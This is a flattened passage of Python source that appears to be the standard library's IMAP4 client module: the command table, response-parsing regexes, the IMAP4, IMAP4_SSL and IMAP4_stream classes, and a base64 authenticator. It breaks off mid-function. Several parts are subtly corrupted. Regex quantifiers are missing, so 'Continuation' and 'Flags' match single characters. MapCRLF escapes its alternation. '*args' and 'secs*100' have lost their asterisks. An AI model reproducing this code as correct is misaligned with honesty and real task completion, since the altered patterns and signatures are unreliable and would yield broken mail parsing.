_MAXLINE = 1000000 # Commands Commands = { # name valid states 'APPEND': ('AUTH', 'SELECTED'), 'AUTHENTICATE': ('NONAUTH',), 'CAPABILITY': ('NONAUTH', 'AUTH', 'SELECTED', 'LOGOUT'), 'CHECK': ('SELECTED',), 'CLOSE': ('SELECTED',), 'COPY': ('SELECTED',), 'CREATE': ('AUTH', 'SELECTED'), 'DELETE': ('AUTH', 'SELECTED'), 'DELETEACL': ('AUTH', 'SELECTED'), 'ENABLE': ('AUTH', ), 'EXAMINE': ('AUTH', 'SELECTED'), 'EXPUNGE': ('SELECTED',), 'FETCH': ('SELECTED',), 'GETACL': ('AUTH', 'SELECTED'), 'GETANNOTATION':('AUTH', 'SELECTED'), 'GETQUOTA': ('AUTH', 'SELECTED'), 'GETQUOTAROOT': ('AUTH', 'SELECTED'), 'MYRIGHTS': ('AUTH', 'SELECTED'), 'LIST': ('AUTH', 'SELECTED'), 'LOGIN': ('NONAUTH',), 'LOGOUT': ('NONAUTH', 'AUTH', 'SELECTED', 'LOGOUT'), 'LSUB': ('AUTH', 'SELECTED'), 'MOVE': ('SELECTED',), 'NAMESPACE': ('AUTH', 'SELECTED'), 'NOOP': ('NONAUTH', 'AUTH', 'SELECTED', 'LOGOUT'), 'PARTIAL': ('SELECTED',), # NB: obsolete 'PROXYAUTH': ('AUTH',), 'RENAME': ('AUTH', 'SELECTED'), 'SEARCH': ('SELECTED',), 'SELECT': ('AUTH', 'SELECTED'), 'SETACL': ('AUTH', 'SELECTED'), 'SETANNOTATION':('AUTH', 'SELECTED'), 'SETQUOTA': ('AUTH', 'SELECTED'), 'SORT': ('SELECTED',), 'STARTTLS': ('NONAUTH',), 'STATUS': ('AUTH', 'SELECTED'), 'STORE': ('SELECTED',), 'SUBSCRIBE': ('AUTH', 'SELECTED'), 'THREAD': ('SELECTED',), 'UID': ('SELECTED',), 'UNSUBSCRIBE': ('AUTH', 'SELECTED'), } # Patterns to match server responses Continuation = re.compile(br'\+( (?P<data>.))?') Flags = re.compile(br'.FLAGS $(?P<flags>[^$])\)') InternalDate = re.compile(br'.INTERNALDATE "' br'(?P<day>[ 0123][0-9])-(?P<mon>[A-Z][a-z][a-z])-(?P<year>[0-9][0-9][0-9][0-9])' br' (?P<hour>[0-9][0-9]):(?P<min>[0-9][0-9]):(?P<sec>[0-9][0-9])' br' (?P<zonen>[-+])(?P<zoneh>[0-9][0-9])(?P<zonem>[0-9][0-9])' br'"') # Literal is no longer used; kept for backward compatibility. Literal = re.compile(br'.{(?P<size>\d+)}$', re.ASCII) MapCRLF = re.compile(br'\r\n\|\r\|\n') # We no longer exclude the ']' character from the data portion of the response # code, even though it violates the RFC. Popular IMAP servers such as Gmail # allow flags with ']', and there are programs (including imaplib!) that can # produce them. The problem with this is if the 'text' portion of the response # includes a ']' we'll parse the response wrong (which is the point of the RFC # restriction). However, that seems less likely to be a problem in practice # than being unable to correctly parse flags that include ']' chars, which # was reported as a real-world problem in issue #21815. Response_code = re.compile(br'\[(?P<type>[A-Z-]+)( (?P<data>.))?\]') Untagged_response = re.compile(br'\* (?P<type>[A-Z-]+)( (?P<data>.))?') # Untagged_status is no longer used; kept for backward compatibility Untagged_status = re.compile( br'\ (?P<data>\d+) (?P<type>[A-Z-]+)( (?P<data2>.))?', re.ASCII) # We compile these in _mode_xxx. _Literal = br'.{(?P<size>\d+)}$' _Untagged_status = br'\* (?P<data>\d+) (?P<type>[A-Z-]+)( (?P<data2>.))?' class IMAP4: r"""IMAP4 client class. Instantiate with: IMAP4([host[, port]]) host - host's name (default: localhost); port - port number (default: standard IMAP4 port). All IMAP4rev1 commands are supported by methods of the same name (in lower-case). All arguments to commands are converted to strings, except for AUTHENTICATE, and the last argument to APPEND which is passed as an IMAP4 literal. If necessary (the string contains any non-printing characters or white-space and isn't enclosed with either parentheses or double quotes) each string is quoted. However, the 'password' argument to the LOGIN command is always quoted. If you want to avoid having an argument string quoted (eg: the 'flags' argument to STORE) then enclose the string in parentheses (eg: "(\Deleted)"). Each command returns a tuple: (type, [data, ...]) where 'type' is usually 'OK' or 'NO', and 'data' is either the text from the tagged response, or untagged results from command. Each 'data' is either a string, or a tuple. If a tuple, then the first part is the header of the response, and the second part contains the data (ie: 'literal' value). Errors raise the exception class <instance>.error("<reason>"). IMAP4 server errors raise <instance>.abort("<reason>"), which is a sub-class of 'error'. Mailbox status changes from READ-WRITE to READ-ONLY raise the exception class <instance>.readonly("<reason>"), which is a sub-class of 'abort'. "error" exceptions imply a program error. "abort" exceptions imply the connection should be reset, and the command re-tried. "readonly" exceptions imply the command should be re-tried. Note: to use this module, you must read the RFCs pertaining to the IMAP4 protocol, as the semantics of the arguments to each IMAP4 command are left to the invoker, not to mention the results. Also, most IMAP servers implement a sub-set of the commands available here. """ class error(Exception): pass # Logical errors - debug required class abort(error): pass # Service errors - close and retry class readonly(abort): pass # Mailbox status changed to READ-ONLY def __init__(self, host='', port=IMAP4_PORT): self.debug = Debug self.state = 'LOGOUT' self.literal = None # A literal argument to a command self.tagged_commands = {} # Tagged commands awaiting response self.untagged_responses = {} # {typ: [data, ...], ...} self.continuation_response = '' # Last continuation response self.is_readonly = False # READ-ONLY desired state self.tagnum = 0 self._tls_established = False self._mode_ascii() # Open socket to server. self.open(host, port) try: self._connect() except Exception: try: self.shutdown() except OSError: pass raise def _mode_ascii(self): self.utf8_enabled = False self._encoding = 'ascii' self.Literal = re.compile(_Literal, re.ASCII) self.Untagged_status = re.compile(_Untagged_status, re.ASCII) def _mode_utf8(self): self.utf8_enabled = True self._encoding = 'utf-8' self.Literal = re.compile(_Literal) self.Untagged_status = re.compile(_Untagged_status) def _connect(self): # Create unique tag for this session, # and compile tagged response matcher. self.tagpre = Int2AP(random.randint(4096, 65535)) self.tagre = re.compile(br'(?P<tag>' + self.tagpre + br'\d+) (?P<type>[A-Z]+) (?P<data>.)', re.ASCII) # Get server welcome message, # request and store CAPABILITY response. if __debug__: self._cmd_log_len = 10 self._cmd_log_idx = 0 self._cmd_log = {} # Last `_cmd_log_len' interactions if self.debug >= 1: self._mesg('imaplib version %s' % __version__) self._mesg('new IMAP4 connection, tag=%s' % self.tagpre) self.welcome = self._get_response() if 'PREAUTH' in self.untagged_responses: self.state = 'AUTH' elif 'OK' in self.untagged_responses: self.state = 'NONAUTH' else: raise self.error(self.welcome) self._get_capabilities() if __debug__: if self.debug >= 3: self._mesg('CAPABILITIES: %r' % (self.capabilities,)) for version in AllowedVersions: if not version in self.capabilities: continue self.PROTOCOL_VERSION = version return raise self.error('server not IMAP4 compliant') def __getattr__(self, attr): # Allow UPPERCASE variants of IMAP4 command methods. if attr in Commands: return getattr(self, attr.lower()) raise AttributeError("Unknown IMAP4 command: '%s'" % attr) def __enter__(self): return self def __exit__(self, args): try: self.logout() except OSError: pass # Overridable methods def _create_socket(self): # Default value of IMAP4.host is '', but socket.getaddrinfo() # (which is used by socket.create_connection()) expects None # as a default value for host. host = None if not self.host else self.host return socket.create_connection((host, self.port)) def open(self, host = '', port = IMAP4_PORT): """Setup connection to remote server on "host:port" (default: localhost:standard IMAP4 port). This connection will be used by the routines: read, readline, send, shutdown. """ self.host = host self.port = port self.sock = self._create_socket() self.file = self.sock.makefile('rb') def read(self, size): """Read 'size' bytes from remote.""" return self.file.read(size) def readline(self): """Read line from remote.""" line = self.file.readline(_MAXLINE + 1) if len(line) > _MAXLINE: raise self.error("got more than %d bytes" % _MAXLINE) return line def send(self, data): """Send data to remote.""" self.sock.sendall(data) def shutdown(self): """Close I/O established in "open".""" self.file.close() try: self.sock.shutdown(socket.SHUT_RDWR) except OSError as exc: # The server might already have closed the connection. # On Windows, this may result in WSAEINVAL (error 10022): # An invalid operation was attempted. if (exc.errno != errno.ENOTCONN and getattr(exc, 'winerror', 0) != 10022): raise finally: self.sock.close() def socket(self): """Return socket instance used to connect to IMAP4 server. socket = <instance>.socket() """ return self.sock # Utility methods def recent(self): """Return most recent 'RECENT' responses if any exist, else prompt server for an update using the 'NOOP' command. (typ, [data]) = <instance>.recent() 'data' is None if no new messages, else list of RECENT responses, most recent last. """ name = 'RECENT' typ, dat = self._untagged_response('OK', [None], name) if dat[-1]: return typ, dat typ, dat = self.noop() # Prod server for response return self._untagged_response(typ, dat, name) def response(self, code): """Return data for response 'code' if received, or None. Old value for response 'code' is cleared. (code, [data]) = <instance>.response(code) """ return self._untagged_response(code, [None], code.upper()) # IMAP4 commands def append(self, mailbox, flags, date_time, message): """Append message to named mailbox. (typ, [data]) = <instance>.append(mailbox, flags, date_time, message) All args except `message' can be None. """ name = 'APPEND' if not mailbox: mailbox = 'INBOX' if flags: if (flags[0],flags[-1]) != ('(',')'): flags = '(%s)' % flags else: flags = None if date_time: date_time = Time2Internaldate(date_time) else: date_time = None literal = MapCRLF.sub(CRLF, message) if self.utf8_enabled: literal = b'UTF8 (' + literal + b')' self.literal = literal return self._simple_command(name, mailbox, flags, date_time) def authenticate(self, mechanism, authobject): """Authenticate command - requires response processing. 'mechanism' specifies which authentication mechanism is to be used - it must appear in <instance>.capabilities in the form AUTH=<mechanism>. 'authobject' must be a callable object: data = authobject(response) It will be called to process server continuation responses; the response argument it is passed will be a bytes. It should return bytes data that will be base64 encoded and sent to the server. It should return None if the client abort response '' should be sent instead. """ mech = mechanism.upper() # XXX: shouldn't this code be removed, not commented out? #cap = 'AUTH=%s' % mech #if not cap in self.capabilities: # Let the server decide! # raise self.error("Server doesn't allow %s authentication." % mech) self.literal = _Authenticator(authobject).process typ, dat = self._simple_command('AUTHENTICATE', mech) if typ != 'OK': raise self.error(dat[-1].decode('utf-8', 'replace')) self.state = 'AUTH' return typ, dat def capability(self): """(typ, [data]) = <instance>.capability() Fetch capabilities list from server.""" name = 'CAPABILITY' typ, dat = self._simple_command(name) return self._untagged_response(typ, dat, name) def check(self): """Checkpoint mailbox on server. (typ, [data]) = <instance>.check() """ return self._simple_command('CHECK') def close(self): """Close currently selected mailbox. Deleted messages are removed from writable mailbox. This is the recommended command before 'LOGOUT'. (typ, [data]) = <instance>.close() """ try: typ, dat = self._simple_command('CLOSE') finally: self.state = 'AUTH' return typ, dat def copy(self, message_set, new_mailbox): """Copy 'message_set' messages onto end of 'new_mailbox'. (typ, [data]) = <instance>.copy(message_set, new_mailbox) """ return self._simple_command('COPY', message_set, new_mailbox) def create(self, mailbox): """Create new mailbox. (typ, [data]) = <instance>.create(mailbox) """ return self._simple_command('CREATE', mailbox) def delete(self, mailbox): """Delete old mailbox. (typ, [data]) = <instance>.delete(mailbox) """ return self._simple_command('DELETE', mailbox) def deleteacl(self, mailbox, who): """Delete the ACLs (remove any rights) set for who on mailbox. (typ, [data]) = <instance>.deleteacl(mailbox, who) """ return self._simple_command('DELETEACL', mailbox, who) def enable(self, capability): """Send an RFC5161 enable string to the server. (typ, [data]) = <intance>.enable(capability) """ if 'ENABLE' not in self.capabilities: raise IMAP4.error("Server does not support ENABLE") typ, data = self._simple_command('ENABLE', capability) if typ == 'OK' and 'UTF8=ACCEPT' in capability.upper(): self._mode_utf8() return typ, data def expunge(self): """Permanently remove deleted items from selected mailbox. Generates 'EXPUNGE' response for each deleted message. (typ, [data]) = <instance>.expunge() 'data' is list of 'EXPUNGE'd message numbers in order received. """ name = 'EXPUNGE' typ, dat = self._simple_command(name) return self._untagged_response(typ, dat, name) def fetch(self, message_set, message_parts): """Fetch (parts of) messages. (typ, [data, ...]) = <instance>.fetch(message_set, message_parts) 'message_parts' should be a string of selected parts enclosed in parentheses, eg: "(UID BODY[TEXT])". 'data' are tuples of message part envelope and data. """ name = 'FETCH' typ, dat = self._simple_command(name, message_set, message_parts) return self._untagged_response(typ, dat, name) def getacl(self, mailbox): """Get the ACLs for a mailbox. (typ, [data]) = <instance>.getacl(mailbox) """ typ, dat = self._simple_command('GETACL', mailbox) return self._untagged_response(typ, dat, 'ACL') def getannotation(self, mailbox, entry, attribute): """(typ, [data]) = <instance>.getannotation(mailbox, entry, attribute) Retrieve ANNOTATIONs.""" typ, dat = self._simple_command('GETANNOTATION', mailbox, entry, attribute) return self._untagged_response(typ, dat, 'ANNOTATION') def getquota(self, root): """Get the quota root's resource usage and limits. Part of the IMAP4 QUOTA extension defined in rfc2087. (typ, [data]) = <instance>.getquota(root) """ typ, dat = self._simple_command('GETQUOTA', root) return self._untagged_response(typ, dat, 'QUOTA') def getquotaroot(self, mailbox): """Get the list of quota roots for the named mailbox. (typ, [[QUOTAROOT responses...], [QUOTA responses]]) = <instance>.getquotaroot(mailbox) """ typ, dat = self._simple_command('GETQUOTAROOT', mailbox) typ, quota = self._untagged_response(typ, dat, 'QUOTA') typ, quotaroot = self._untagged_response(typ, dat, 'QUOTAROOT') return typ, [quotaroot, quota] def list(self, directory='""', pattern=''): """List mailbox names in directory matching pattern. (typ, [data]) = <instance>.list(directory='""', pattern='') 'data' is list of LIST responses. """ name = 'LIST' typ, dat = self._simple_command(name, directory, pattern) return self._untagged_response(typ, dat, name) def login(self, user, password): """Identify client using plaintext password. (typ, [data]) = <instance>.login(user, password) NB: 'password' will be quoted. """ typ, dat = self._simple_command('LOGIN', user, self._quote(password)) if typ != 'OK': raise self.error(dat[-1]) self.state = 'AUTH' return typ, dat def login_cram_md5(self, user, password): """ Force use of CRAM-MD5 authentication. (typ, [data]) = <instance>.login_cram_md5(user, password) """ self.user, self.password = user, password return self.authenticate('CRAM-MD5', self._CRAM_MD5_AUTH) def _CRAM_MD5_AUTH(self, challenge): """ Authobject to use with CRAM-MD5 authentication. """ import hmac pwd = (self.password.encode('utf-8') if isinstance(self.password, str) else self.password) return self.user + " " + hmac.HMAC(pwd, challenge, 'md5').hexdigest() def logout(self): """Shutdown connection to server. (typ, [data]) = <instance>.logout() Returns server 'BYE' response. """ self.state = 'LOGOUT' try: typ, dat = self._simple_command('LOGOUT') except: typ, dat = 'NO', ['%s: %s' % sys.exc_info()[:2]] self.shutdown() if 'BYE' in self.untagged_responses: return 'BYE', self.untagged_responses['BYE'] return typ, dat def lsub(self, directory='""', pattern=''): """List 'subscribed' mailbox names in directory matching pattern. (typ, [data, ...]) = <instance>.lsub(directory='""', pattern='') 'data' are tuples of message part envelope and data. """ name = 'LSUB' typ, dat = self._simple_command(name, directory, pattern) return self._untagged_response(typ, dat, name) def myrights(self, mailbox): """Show my ACLs for a mailbox (i.e. the rights that I have on mailbox). (typ, [data]) = <instance>.myrights(mailbox) """ typ,dat = self._simple_command('MYRIGHTS', mailbox) return self._untagged_response(typ, dat, 'MYRIGHTS') def namespace(self): """ Returns IMAP namespaces ala rfc2342 (typ, [data, ...]) = <instance>.namespace() """ name = 'NAMESPACE' typ, dat = self._simple_command(name) return self._untagged_response(typ, dat, name) def noop(self): """Send NOOP command. (typ, [data]) = <instance>.noop() """ if __debug__: if self.debug >= 3: self._dump_ur(self.untagged_responses) return self._simple_command('NOOP') def partial(self, message_num, message_part, start, length): """Fetch truncated part of a message. (typ, [data, ...]) = <instance>.partial(message_num, message_part, start, length) 'data' is tuple of message part envelope and data. """ name = 'PARTIAL' typ, dat = self._simple_command(name, message_num, message_part, start, length) return self._untagged_response(typ, dat, 'FETCH') def proxyauth(self, user): """Assume authentication as "user". Allows an authorised administrator to proxy into any user's mailbox. (typ, [data]) = <instance>.proxyauth(user) """ name = 'PROXYAUTH' return self._simple_command('PROXYAUTH', user) def rename(self, oldmailbox, newmailbox): """Rename old mailbox name to new. (typ, [data]) = <instance>.rename(oldmailbox, newmailbox) """ return self._simple_command('RENAME', oldmailbox, newmailbox) def search(self, charset, criteria): """Search mailbox for matching messages. (typ, [data]) = <instance>.search(charset, criterion, ...) 'data' is space separated list of matching message numbers. If UTF8 is enabled, charset MUST be None. """ name = 'SEARCH' if charset: if self.utf8_enabled: raise IMAP4.error("Non-None charset not valid in UTF8 mode") typ, dat = self._simple_command(name, 'CHARSET', charset, criteria) else: typ, dat = self._simple_command(name, criteria) return self._untagged_response(typ, dat, name) def select(self, mailbox='INBOX', readonly=False): """Select a mailbox. Flush all untagged responses. (typ, [data]) = <instance>.select(mailbox='INBOX', readonly=False) 'data' is count of messages in mailbox ('EXISTS' response). Mandated responses are ('FLAGS', 'EXISTS', 'RECENT', 'UIDVALIDITY'), so other responses should be obtained via <instance>.response('FLAGS') etc. """ self.untagged_responses = {} # Flush old responses. self.is_readonly = readonly if readonly: name = 'EXAMINE' else: name = 'SELECT' typ, dat = self._simple_command(name, mailbox) if typ != 'OK': self.state = 'AUTH' # Might have been 'SELECTED' return typ, dat self.state = 'SELECTED' if 'READ-ONLY' in self.untagged_responses \ and not readonly: if __debug__: if self.debug >= 1: self._dump_ur(self.untagged_responses) raise self.readonly('%s is not writable' % mailbox) return typ, self.untagged_responses.get('EXISTS', [None]) def setacl(self, mailbox, who, what): """Set a mailbox acl. (typ, [data]) = <instance>.setacl(mailbox, who, what) """ return self._simple_command('SETACL', mailbox, who, what) def setannotation(self, args): """(typ, [data]) = <instance>.setannotation(mailbox[, entry, attribute]+) Set ANNOTATIONs.""" typ, dat = self._simple_command('SETANNOTATION', args) return self._untagged_response(typ, dat, 'ANNOTATION') def setquota(self, root, limits): """Set the quota root's resource limits. (typ, [data]) = <instance>.setquota(root, limits) """ typ, dat = self._simple_command('SETQUOTA', root, limits) return self._untagged_response(typ, dat, 'QUOTA') def sort(self, sort_criteria, charset, search_criteria): """IMAP4rev1 extension SORT command. (typ, [data]) = <instance>.sort(sort_criteria, charset, search_criteria, ...) """ name = 'SORT' #if not name in self.capabilities: # Let the server decide! # raise self.error('unimplemented extension command: %s' % name) if (sort_criteria[0],sort_criteria[-1]) != ('(',')'): sort_criteria = '(%s)' % sort_criteria typ, dat = self._simple_command(name, sort_criteria, charset, search_criteria) return self._untagged_response(typ, dat, name) def starttls(self, ssl_context=None): name = 'STARTTLS' if not HAVE_SSL: raise self.error('SSL support missing') if self._tls_established: raise self.abort('TLS session already established') if name not in self.capabilities: raise self.abort('TLS not supported by server') # Generate a default SSL context if none was passed. if ssl_context is None: ssl_context = ssl._create_stdlib_context() typ, dat = self._simple_command(name) if typ == 'OK': self.sock = ssl_context.wrap_socket(self.sock, server_hostname=self.host) self.file = self.sock.makefile('rb') self._tls_established = True self._get_capabilities() else: raise self.error("Couldn't establish TLS session") return self._untagged_response(typ, dat, name) def status(self, mailbox, names): """Request named status conditions for mailbox. (typ, [data]) = <instance>.status(mailbox, names) """ name = 'STATUS' #if self.PROTOCOL_VERSION == 'IMAP4': # Let the server decide! # raise self.error('%s unimplemented in IMAP4 (obtain IMAP4rev1 server, or re-code)' % name) typ, dat = self._simple_command(name, mailbox, names) return self._untagged_response(typ, dat, name) def store(self, message_set, command, flags): """Alters flag dispositions for messages in mailbox. (typ, [data]) = <instance>.store(message_set, command, flags) """ if (flags[0],flags[-1]) != ('(',')'): flags = '(%s)' % flags # Avoid quoting the flags typ, dat = self._simple_command('STORE', message_set, command, flags) return self._untagged_response(typ, dat, 'FETCH') def subscribe(self, mailbox): """Subscribe to new mailbox. (typ, [data]) = <instance>.subscribe(mailbox) """ return self._simple_command('SUBSCRIBE', mailbox) def thread(self, threading_algorithm, charset, search_criteria): """IMAPrev1 extension THREAD command. (type, [data]) = <instance>.thread(threading_algorithm, charset, search_criteria, ...) """ name = 'THREAD' typ, dat = self._simple_command(name, threading_algorithm, charset, search_criteria) return self._untagged_response(typ, dat, name) def uid(self, command, args): """Execute "command arg ..." with messages identified by UID, rather than message number. (typ, [data]) = <instance>.uid(command, arg1, arg2, ...) Returns response appropriate to 'command'. """ command = command.upper() if not command in Commands: raise self.error("Unknown IMAP4 UID command: %s" % command) if self.state not in Commands[command]: raise self.error("command %s illegal in state %s, " "only allowed in states %s" % (command, self.state, ', '.join(Commands[command]))) name = 'UID' typ, dat = self._simple_command(name, command, args) if command in ('SEARCH', 'SORT', 'THREAD'): name = command else: name = 'FETCH' return self._untagged_response(typ, dat, name) def unsubscribe(self, mailbox): """Unsubscribe from old mailbox. (typ, [data]) = <instance>.unsubscribe(mailbox) """ return self._simple_command('UNSUBSCRIBE', mailbox) def xatom(self, name, args): """Allow simple extension commands notified by server in CAPABILITY response. Assumes command is legal in current state. (typ, [data]) = <instance>.xatom(name, arg, ...) Returns response appropriate to extension command `name'. """ name = name.upper() #if not name in self.capabilities: # Let the server decide! # raise self.error('unknown extension command: %s' % name) if not name in Commands: Commands[name] = (self.state,) return self._simple_command(name, args) # Private methods def _append_untagged(self, typ, dat): if dat is None: dat = b'' ur = self.untagged_responses if __debug__: if self.debug >= 5: self._mesg('untagged_responses[%s] %s += ["%r"]' % (typ, len(ur.get(typ,'')), dat)) if typ in ur: ur[typ].append(dat) else: ur[typ] = [dat] def _check_bye(self): bye = self.untagged_responses.get('BYE') if bye: raise self.abort(bye[-1].decode(self._encoding, 'replace')) def _command(self, name, args): if self.state not in Commands[name]: self.literal = None raise self.error("command %s illegal in state %s, " "only allowed in states %s" % (name, self.state, ', '.join(Commands[name]))) for typ in ('OK', 'NO', 'BAD'): if typ in self.untagged_responses: del self.untagged_responses[typ] if 'READ-ONLY' in self.untagged_responses \ and not self.is_readonly: raise self.readonly('mailbox status changed to READ-ONLY') tag = self._new_tag() name = bytes(name, self._encoding) data = tag + b' ' + name for arg in args: if arg is None: continue if isinstance(arg, str): arg = bytes(arg, self._encoding) data = data + b' ' + arg literal = self.literal if literal is not None: self.literal = None if type(literal) is type(self._command): literator = literal else: literator = None data = data + bytes(' {%s}' % len(literal), self._encoding) if __debug__: if self.debug >= 4: self._mesg('> %r' % data) else: self._log('> %r' % data) try: self.send(data + CRLF) except OSError as val: raise self.abort('socket error: %s' % val) if literal is None: return tag while 1: # Wait for continuation response while self._get_response(): if self.tagged_commands[tag]: # BAD/NO? return tag # Send literal if literator: literal = literator(self.continuation_response) if __debug__: if self.debug >= 4: self._mesg('write literal size %s' % len(literal)) try: self.send(literal) self.send(CRLF) except OSError as val: raise self.abort('socket error: %s' % val) if not literator: break return tag def _command_complete(self, name, tag): # BYE is expected after LOGOUT if name != 'LOGOUT': self._check_bye() try: typ, data = self._get_tagged_response(tag) except self.abort as val: raise self.abort('command: %s => %s' % (name, val)) except self.error as val: raise self.error('command: %s => %s' % (name, val)) if name != 'LOGOUT': self._check_bye() if typ == 'BAD': raise self.error('%s command error: %s %s' % (name, typ, data)) return typ, data def _get_capabilities(self): typ, dat = self.capability() if dat == [None]: raise self.error('no CAPABILITY response from server') dat = str(dat[-1], self._encoding) dat = dat.upper() self.capabilities = tuple(dat.split()) def _get_response(self): # Read response and store. # # Returns None for continuation responses, # otherwise first response line received. resp = self._get_line() # Command completion response? if self._match(self.tagre, resp): tag = self.mo.group('tag') if not tag in self.tagged_commands: raise self.abort('unexpected tagged response: %r' % resp) typ = self.mo.group('type') typ = str(typ, self._encoding) dat = self.mo.group('data') self.tagged_commands[tag] = (typ, [dat]) else: dat2 = None # '' (untagged) responses? if not self._match(Untagged_response, resp): if self._match(self.Untagged_status, resp): dat2 = self.mo.group('data2') if self.mo is None: # Only other possibility is '+' (continuation) response... if self._match(Continuation, resp): self.continuation_response = self.mo.group('data') return None # NB: indicates continuation raise self.abort("unexpected response: %r" % resp) typ = self.mo.group('type') typ = str(typ, self._encoding) dat = self.mo.group('data') if dat is None: dat = b'' # Null untagged response if dat2: dat = dat + b' ' + dat2 # Is there a literal to come? while self._match(self.Literal, dat): # Read literal direct from connection. size = int(self.mo.group('size')) if __debug__: if self.debug >= 4: self._mesg('read literal size %s' % size) data = self.read(size) # Store response with literal as tuple self._append_untagged(typ, (dat, data)) # Read trailer - possibly containing another literal dat = self._get_line() self._append_untagged(typ, dat) # Bracketed response information? if typ in ('OK', 'NO', 'BAD') and self._match(Response_code, dat): typ = self.mo.group('type') typ = str(typ, self._encoding) self._append_untagged(typ, self.mo.group('data')) if __debug__: if self.debug >= 1 and typ in ('NO', 'BAD', 'BYE'): self._mesg('%s response: %r' % (typ, dat)) return resp def _get_tagged_response(self, tag): while 1: result = self.tagged_commands[tag] if result is not None: del self.tagged_commands[tag] return result # If we've seen a BYE at this point, the socket will be # closed, so report the BYE now. self._check_bye() # Some have reported "unexpected response" exceptions. # Note that ignoring them here causes loops. # Instead, send me details of the unexpected response and # I'll update the code in `_get_response()'. try: self._get_response() except self.abort as val: if __debug__: if self.debug >= 1: self.print_log() raise def _get_line(self): line = self.readline() if not line: raise self.abort('socket error: EOF') # Protocol mandates all lines terminated by CRLF if not line.endswith(b'\r\n'): raise self.abort('socket error: unterminated line: %r' % line) line = line[:-2] if __debug__: if self.debug >= 4: self._mesg('< %r' % line) else: self._log('< %r' % line) return line def _match(self, cre, s): # Run compiled regular expression match method on 's'. # Save result, return success. self.mo = cre.match(s) if __debug__: if self.mo is not None and self.debug >= 5: self._mesg("\tmatched %r => %r" % (cre.pattern, self.mo.groups())) return self.mo is not None def _new_tag(self): tag = self.tagpre + bytes(str(self.tagnum), self._encoding) self.tagnum = self.tagnum + 1 self.tagged_commands[tag] = None return tag def _quote(self, arg): arg = arg.replace('\\', '\\\\') arg = arg.replace('"', '\\"') return '"' + arg + '"' def _simple_command(self, name, args): return self._command_complete(name, self._command(name, args)) def _untagged_response(self, typ, dat, name): if typ == 'NO': return typ, dat if not name in self.untagged_responses: return typ, [None] data = self.untagged_responses.pop(name) if __debug__: if self.debug >= 5: self._mesg('untagged_responses[%s] => %s' % (name, data)) return typ, data if __debug__: def _mesg(self, s, secs=None): if secs is None: secs = time.time() tm = time.strftime('%M:%S', time.localtime(secs)) sys.stderr.write(' %s.%02d %s\n' % (tm, (secs100)%100, s)) sys.stderr.flush() def _dump_ur(self, dict): # Dump untagged responses (in `dict'). l = dict.items() if not l: return t = '\n\t\t' l = map(lambda x:'%s: "%s"' % (x[0], x[1][0] and '" "'.join(x[1]) or ''), l) self._mesg('untagged responses dump:%s%s' % (t, t.join(l))) def _log(self, line): # Keep log of last `_cmd_log_len' interactions for debugging. self._cmd_log[self._cmd_log_idx] = (line, time.time()) self._cmd_log_idx += 1 if self._cmd_log_idx >= self._cmd_log_len: self._cmd_log_idx = 0 def print_log(self): self._mesg('last %d IMAP4 interactions:' % len(self._cmd_log)) i, n = self._cmd_log_idx, self._cmd_log_len while n: try: self._mesg(self._cmd_log[i]) except: pass i += 1 if i >= self._cmd_log_len: i = 0 n -= 1 if HAVE_SSL: class IMAP4_SSL(IMAP4): """IMAP4 client class over SSL connection Instantiate with: IMAP4_SSL([host[, port[, keyfile[, certfile[, ssl_context]]]]]) host - host's name (default: localhost); port - port number (default: standard IMAP4 SSL port); keyfile - PEM formatted file that contains your private key (default: None); certfile - PEM formatted certificate chain file (default: None); ssl_context - a SSLContext object that contains your certificate chain and private key (default: None) Note: if ssl_context is provided, then parameters keyfile or certfile should not be set otherwise ValueError is raised. for more documentation see the docstring of the parent class IMAP4. """ def __init__(self, host='', port=IMAP4_SSL_PORT, keyfile=None, certfile=None, ssl_context=None): if ssl_context is not None and keyfile is not None: raise ValueError("ssl_context and keyfile arguments are mutually " "exclusive") if ssl_context is not None and certfile is not None: raise ValueError("ssl_context and certfile arguments are mutually " "exclusive") if keyfile is not None or certfile is not None: import warnings warnings.warn("keyfile and certfile are deprecated, use a " "custom ssl_context instead", DeprecationWarning, 2) self.keyfile = keyfile self.certfile = certfile if ssl_context is None: ssl_context = ssl._create_stdlib_context(certfile=certfile, keyfile=keyfile) self.ssl_context = ssl_context IMAP4.__init__(self, host, port) def _create_socket(self): sock = IMAP4._create_socket(self) return self.ssl_context.wrap_socket(sock, server_hostname=self.host) def open(self, host='', port=IMAP4_SSL_PORT): """Setup connection to remote server on "host:port". (default: localhost:standard IMAP4 SSL port). This connection will be used by the routines: read, readline, send, shutdown. """ IMAP4.open(self, host, port) __all__.append("IMAP4_SSL") class IMAP4_stream(IMAP4): """IMAP4 client class over a stream Instantiate with: IMAP4_stream(command) "command" - a string that can be passed to subprocess.Popen() for more documentation see the docstring of the parent class IMAP4. """ def __init__(self, command): self.command = command IMAP4.__init__(self) def open(self, host = None, port = None): """Setup a stream connection. This connection will be used by the routines: read, readline, send, shutdown. """ self.host = None # For compatibility with parent class self.port = None self.sock = None self.file = None self.process = subprocess.Popen(self.command, bufsize=DEFAULT_BUFFER_SIZE, stdin=subprocess.PIPE, stdout=subprocess.PIPE, shell=True, close_fds=True) self.writefile = self.process.stdin self.readfile = self.process.stdout def read(self, size): """Read 'size' bytes from remote.""" return self.readfile.read(size) def readline(self): """Read line from remote.""" return self.readfile.readline() def send(self, data): """Send data to remote.""" self.writefile.write(data) self.writefile.flush() def shutdown(self): """Close I/O established in "open".""" self.readfile.close() self.writefile.close() self.process.wait() class _Authenticator: """Private class to provide en/decoding for base64-based authentication conversation. """ def __init__(self, mechinst): self.mech = mechinst # Callable object to provide/process data def process(self, data): ret = self.mech(self.decode(data)) if ret is None: return b'' # Abort conversation return self.encode(ret) def encode(self, inp): # # Invoke binascii.b2a_base64 iteratively with # short even length buffers, strip the trailing # line feed from the result and append. "Even" # means a number that factors to both 6 and 8, # so when it gets to the end of the 8-bit input # there's no partial 6-bit output. # oup = b'' if isinstance(inp, str): inp = inp.encode('utf-8') while inp: if len(inp) > 48: t = inp[:48] inp = inp[48:] else: t = inp inp = b'' e = binascii.b2a_base64(t) if e: oup = oup + e[:-1] return oup def decode(self, inp): if not inp: return b'' return binascii.a2b_base64(inp) Months = ' Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec'.split(' ') Mon2num = {s.encode():n+1 for n, s in enumerate(Months[1:])} def Internaldate2tuple(resp): """Parse an IMAP4 INTERNALDATE string. Return corresponding local time. The return value is a time.struct_time tuple or None if the string has wrong format. """ mo = InternalDate.match(resp) if not mo: return None mon = Mon2num[mo.group('mon')] zonen = mo.group('zonen') day = int(mo.group('day')) year 